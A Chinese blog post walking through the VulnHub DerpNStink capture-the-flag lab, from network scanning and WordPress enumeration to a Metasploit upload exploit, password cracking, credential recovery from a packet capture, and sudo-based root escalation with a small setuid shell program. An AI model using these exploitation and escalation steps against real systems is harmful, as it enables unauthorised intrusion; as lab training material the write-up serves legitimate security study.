OSCP - DerpNStink 的破解

最新推荐文章于 2024-04-17 21:17:18 发布

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最新推荐文章于 2024-04-17 21:17:18 发布

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分类专栏： OSCP-CTF

本文链接：https://blog.csdn.net/Kevinhanser/article/details/87617202

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本文主要记录对 Lazysysadmin 的渗透学习过程，测试的 VM 主机主要来源 www.vulnhub.com
博客集：面向 CTF 的 OSCP 破解系列
下载链接：DerpNStink

初始安装的虚拟机是不知道IP的，首先需要信息收集发现IP，这里使用 netdiscover

Currently scanning: 192.168.141.0/16   |   Screen View: Unique Hosts                                                   
                                                                                                                        
 4 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 240                                                        
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 10.10.10.2      00:50:56:fb:16:b2      2     120  VMware, Inc.                                                         
 10.10.10.128    00:0c:29:48:44:79      2     120  VMware, Inc.

使用 nmap 进行端口探测

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-18 02:47 EST
Nmap scan report for 10.10.10.128
Host is up (0.00041s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA)
|   2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA)
|   256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA)
|_  256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca:ab:5d:2d (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/php/ /temporary/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: DeRPnStiNK
MAC Address: 00:0C:29:48:44:79 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

使用 nmap 扫描发现目标机器打开了 80 端口，访问主页，查看页面源代码发现flag1
发现flag1：FLAG1（52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166）
下一步使用 dirbuster 进行目录爆破
爆破发现 weblog 目录，可以进行访问。看到是 wordpress 网站
使用 wpscan 来枚举 wordpress 主题、用户和插件
```
root@kali:~# wpscan --enumerate at --enumerate ap --enumerate u --url http://10.10.10.128
```
wpscan向我们展示了可利用的插件

我们还发现用户名和密码都是admin

我们使用metasploit来利用此漏洞

msf > use exploit/unix/webapp/wp_slideshowgallery_upload
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set rhost 192.168.1.102
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /weblog
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user admin
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password admin
msf exploit(unix/webapp/wp_slideshowgallery_upload) > exploit

成功拿到 shell
在这里插入图片描述进入后台查看 wp-config.php 文件中的数据库账号密码

meterpreter > pwd
/var/www/html/weblog
meterpreter > cat wp-config.php

	/** MySQL database username */
	define('DB_USER', 'root');
	
	/** MySQL database password */
	define('DB_PASSWORD', 'mysql');

由于前面使用 dirbuster 爆破出了 phpmyadmin 目录，浏览器远程连接可以看到 wordpress 的另一个账号密码
使用 john the rapper 进行密码的 hash 值暴破
暴破出的密码为 wedgie57
使用暴破出的用户名/密码：unclestinky/wedgie57 登录 wordpress
获取的 flag2 为 flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
查看 /home 下的用户列表查看 /home 下的用户列表

使用 ssh 登录 stinky 发现只能使用密钥登录

在刚才的 meterpreter 中获取 shell 尝试登录 stinky/wedgie57

meterpreter > shell
Process 2685 created.
Channel 2 created.
python -c 'import pty;pty.spawn("/bin/sh")'
$ su stinky
su stinky
Password: wedgie57

stinky@DeRPnStiNK:/home$ ls
ls
mrderp  stinky
stinky@DeRPnStiNK:/home$
stinky@DeRPnStiNK:/home$ ls
ls
mrderp  stinky
stinky@DeRPnStiNK:/home$ cd stinky
cd stinky
stinky@DeRPnStiNK:~$ ls
ls
Desktop  Documents  Downloads  ftp
stinky@DeRPnStiNK:~$ cd Desktop
cd Desktop
stinky@DeRPnStiNK:~/Desktop$ ls
ls
flag.txt
stinky@DeRPnStiNK:~/Desktop$ cat flag.txt
cat flag.txt
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)

登录成功之后枚举系统可以发现 flag.txt 文件。flag3：flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)

枚举系统发现 Documents 目录中存在 derpissues.pcap 文件

stinky@DeRPnStiNK:~$ cd Documents
cd Documents
stinky@DeRPnStiNK:~/Documents$ ls
ls
derpissues.pcap

使用 ftp 登录系统 stinky/wedgie57，下载pcap包
在这里插入图片描述发现 ftp 的根目录是 files，切换 shell 的路径到 files

stinky@DeRPnStiNK:~/ftp/files/network-logs$ cat derpissues.txt
cat derpissues.txt
12:06 mrderp: hey i cant login to wordpress anymore. Can you look into it?
12:07 stinky: yeah. did you need a password reset?
12:07 mrderp: I think i accidently deleted my account
12:07 mrderp: i just need to logon once to make a change
12:07 stinky: im gonna packet capture so we can figure out whats going on
12:07 mrderp: that seems a bit overkill, but wtv
12:08 stinky: commence the sniffer!!!!
12:08 mrderp: -_-
12:10 stinky: fine derp, i think i fixed it for you though. cany you try to login?
12:11 mrderp: awesome it works!
12:12 stinky: we really are the best sysadmins #team
12:13 mrderp: i guess we are...
12:15 mrderp: alright I made the changes, feel free to decomission my account
12:20 stinky: done! yay

将 derpissues.pcap 复制到 ftp 的根目录以便于下载
```
stinky@DeRPnStiNK:~/Documents$ cp derpissues.pcap /home/stinky/ftp/files
cp derpissues.pcap /home/stinky/ftp/files
```
下载 pcap 包
在wireshark中打开它并找到其他用户的密码
另一个账号的用户名和密码为： mrderp / derpderpderpderpderpderpderp

使用 ssh 连接 mrderp
登录之后枚举系统发现提示信息
在这里插入图片描述之后 sudo 切换系统

mrderp@DeRPnStiNK:~$ ls
Desktop  Documents  Downloads
mrderp@DeRPnStiNK:~$ sudo -l
[sudo] password for mrderp: 
Matching Defaults entries for mrderp on DeRPnStiNK:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mrderp may run the following commands on DeRPnStiNK:
    (ALL) /home/mrderp/binaries/derpy*

以上信息 /home/mrderp/binaries/derpy* 中：binaries 目录中的以 derpy 开头的可执行文件具有root权限。创建文件以提权

mrderp@DeRPnStiNK:~$ mkdir binaries
mrderp@DeRPnStiNK:~$ ls
binaries  Desktop  Documents  Downloads
mrderp@DeRPnStiNK:~$ cd binaries/
mrderp@DeRPnStiNK:~/binaries$ cat derpy.c 
	#include<stdio.h>
	#include<stdlib.h>
	#include<sys/types.h>
	#include<unistd.h>
	int main()
	{
		setuid(0);
		system("/bin/bash");
		return 0;
	}
mrderp@DeRPnStiNK:~/binaries$ gcc derpy.c -o derpy
mrderp@DeRPnStiNK:~/binaries$ ls
derpy  derpy.c  derpy.py  derpy.sh
mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy 
[sudo] password for mrderp: 
root@DeRPnStiNK:~/binaries# id
uid=0(root) gid=0(root) groups=0(root)

或者使用如下方法：

mrderp@DeRPnStiNK:~/binaries$ cat derpy.sh 
	#!/bin/bash
	bash -i
mrderp@DeRPnStiNK:~/binaries$ chmod +x derpy.sh 
mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy.sh 
root@DeRPnStiNK:~/binaries#

获取flag4：

root@DeRPnStiNK:~/binaries# cd /root/Desktop/
root@DeRPnStiNK:/root/Desktop# ls
flag.txt
root@DeRPnStiNK:/root/Desktop# cat flag.txt 
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)
Congrats on rooting my first VulnOS!
Hit me up on twitter and let me know your thoughts!
@securekomodo